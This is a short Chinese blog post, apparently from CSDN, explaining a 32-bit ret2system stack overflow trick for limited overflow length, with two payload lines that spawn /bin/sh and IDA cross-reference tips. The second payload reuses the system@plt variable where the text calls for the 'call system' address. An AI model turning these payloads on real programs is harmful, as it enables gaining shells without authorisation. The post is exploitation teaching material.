call _system 相比于直调system,可以节省栈空间哦~
前言
栈溢出漏洞但是限制溢出字符数,倒逼我们减少溢出内容。
构造payload的时候有两种方式构造
第一种,溢出后的返回地址是system的地址,也就是plt表中system的地址system_addr = 0x08048320 binsh_addr = 0x0804a024 payload = 'a' * (0x88 + 4) + p32(system_addr) + p32(0) + p32(binsh_addr)
第二种,溢出后的返回地址是call system的地址,这是程序中出现过的调用system的地址
system_addr = 0x08048320 binsh_addr = 0x0804a024 payload = 'a' * (0x88 + 4) + p32(system_addr) + p32(binsh_addr)
为什么调用system的plt地址时,要比调用call system的调用地址时多构造四个字节?
首先,我们想要程序执行的是
system('/bin/sh');
合法的程序在编译这一步时,实际上执行的是
lea eax, [address_binsh_str] push eax call system
进一步对
call
指令进行分解,执行call指令相当于push ip ;执行system_addr之后的返回地址 jmp system_addr
因此,直接调用system函数时,在system地址后面要接上一个返回地址,再接上system函数的参数
而如果调用的是call system的话,返回到call system之后,才会执行push ip的操作,这个时候的push操作不需要我们关心,因此payload直接就是call_system_addr + binsh_addr
————————————————
版权声明:本文为CSDN博主「Morphy_Amo」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/Morphy_Amo/article/details/121757953
利用方法
左侧找到相关函数,双击。
选中一行 _system 按x键,即交叉引用,找到程序中用到_system的其他位置
即可找到相关代码段